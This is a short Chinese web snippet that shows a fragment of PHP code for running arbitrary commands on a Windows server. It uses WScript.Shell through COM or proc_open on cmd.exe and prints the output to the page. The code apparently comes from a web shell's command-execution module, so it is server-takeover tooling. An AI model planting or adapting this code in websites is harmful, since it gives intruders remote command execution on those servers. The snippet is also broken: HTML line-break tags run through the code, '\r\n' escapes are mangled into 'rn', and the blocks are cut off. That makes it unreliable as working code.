php调用com 组件wscript.shell执行dos命令

/php调用com 组件wscript.shell执行dos命令
  p('

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');<br>  if ($execfunc=='wscript' && IS_WIN && IS_COM) {<br>   $wsh = new COM('WScript.shell');<br>   $exec = $wsh->exec('cmd.exe /c '.$command);<br>   $stdout = $exec->StdOut();<br>   $stroutput = $stdout->ReadAll();<br>   echo $stroutput;<br>  } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {<br>   $descriptorspec = array(<br>      0 => array('pipe', 'r'),<br>      1 => array('pipe', 'w'),<br>      2 => array('pipe', 'w')<br>   );<br>   $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);<br>   if (is_resource($process)) {<br>    fwrite($pipes[0], $command."rn");<br>    fwrite($pipes[0], "exitrn");<br>    fclose($pipes[0]);<br>    while (!feof($pipes[1])) {<br>     echo fgets($pipes[1], 1024);<br>    }<br>    fclose($pipes[1]);<br>    while (!feof($pipes[2])) {<br>     echo fgets($pipes[2], 1024);<br>    }<br>    fclose($pipes[2]);<br>    proc_close($process);<br>   }	<br>